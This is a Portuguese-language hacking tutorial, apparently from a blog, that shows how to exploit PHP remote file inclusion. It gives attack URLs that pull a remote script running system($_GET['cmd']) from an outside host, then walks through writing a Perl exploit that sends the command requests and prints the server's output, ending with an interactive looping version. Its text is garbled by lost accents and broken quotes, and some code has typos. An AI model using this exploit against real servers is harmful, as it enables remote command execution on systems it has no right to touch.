O volume na unidade C no tem nome. O nmero de srie do volume ABCD-EFGHPasta de C:apachehtdocs 29/02/2008 22:43 29/02/2008 22:43 29/02/2008 22:43 31 vuln.php Um exploit simples para essa vulnerabilidade pode ser construdo usando a seguinte estrutura:- (Site) + (Pgina vulnervel + variavel vulnervel) + (Link para o script malicioso) + (Comando Unix/Windows dependendo do sistema operacional) Exemplo: http://www.site.com/vuln.php?inc=http://www.host-files.com/script.txt&cmd=dirSite: http://www.site.com/ Pgina vulnervel + variavel vulnervel: vuln.php?inc= Script malicioso: http://www.host-files.com/script.txt Comando: dir Obs: o &cmd= em &cmd=dir pode variar dependendo do script malicioso. Exemplos: system($_GET['cmd']); http://www.site.com/pgina-vulnervel.php?variavel=http://algum-site.com/script.txt&cmd=qualquer coisa system($_GET['exec']); http://www.site.com/pgina-vulnervel.php?variavel=http://algum-site.com/script.txt&exec=qualquer coisa system($_GET['comando']); http://www.site.com/pgina-vulnervel.php?variavel=http://algumsite.com/script.txt&comando=qualquer coisa OBS: obvio que a pagina a ser injetada tem que estar em algum lugar que voc colocar, e no servidor de hospedagem que voc quiser. -

Vamos construir o exploit para explorar


Se site, link para o script malicioso, comando, arquivo e varivel vulnervel foram passadas, ento continua. Caso contrrio, informe ao usurio sobre o erro. #!/usr/bin/perl if(@ARGV != 4) { print "Modo de usar: perl exploit.txt n; print Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dirn; exit;

} ($site, $page, $script, $comando) = @ARGV; Os parmetros necessrios so passados como argumentos. Se o total de argumentos passados para a execuo do script for diferente de 4 ento mostre a mensagem de erro. Vamos padronizar o script malicioso como sendo: system($_GET['cmd']); ento quando formos iniciar a requisio, colocaremos: $argv_script = "&cmd="; portanto, a pgina que devemos visitar ser $pagina = $site.$page.$script.$argv_script.$comando; Exemplo: http://www.site.com/vulneravel.php?page=http://www.host.com/scriptmalicioso.txt&cmd=dir Com o mdulo LWP::Simples, podemos usar a funo get() que baixa uma pgina e retorna para uma varivel qualquer. $resposta = get($pagina); e mostramos a sada do servidor web, print $resposta; O corpo do exploit est concludo, o exploit : #!/usr/bin/perlif(@ARGV != 4) { print "Modo de usar: perl exploit.txt n; print Exemplo: perl http://www.site.com/ vulneravel.php?page= http://www.host.com/script-malicioso.txt dirn; exit; }($site, $page, $script, $comando) = @ARGV; $argv_script = &cmd=; $pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina); print $resposta; A array @ARGV contm os argumentos passados para o script. ($site, $page, $script, $comando) = @ARGV; seria o mesmo que $site = $ARGV[0]; $page = $ARGV[1]; $script = $ARGV[2]; $comando = $ARGV[3]; Melhorias estticas podem ser feitas, como por exemplo o uso de . #!/usr/bin/perl use LWP::Simples; site: print "Host (Ex.: www.site.com): ";

$site = ; if($site eq ){ goto site; } if($site =~ /http:///){ print Nao coloque http:// !.n; goto site; } pagina: print Pag. vulneravel (Ex.: Colt7r/vulneravel.php?page=): ; $page = ; if($site eq ){ goto pagina; } script: print Script (Ex.: http://www.host-files.com/script.txt): ; $script = ; if($script eq ){ goto script; } if($script !~ /http:///){ goto script; } print Variavel para executar comandos (script)n; print Ex.: cmd = system($_GET['cmd']): ; $argv_script = ; if(!$argv_script){ $argv_script = cmd; } $argv_script = &.$argv_script.='; comando: print Comando: ; $comando = ; $pagina = $site.$page.$script.$argv_script.$comando; $resposta = get($pagina); print $resposta; goto comando; Esse um exploit genrico, que serve apenas para demonstrar como explorar a vulnerabilidade. Durante o desenvolvimento de um exploit para um software especfico, necessrio o uso de expresses regulares e outros.

Você também pode gostar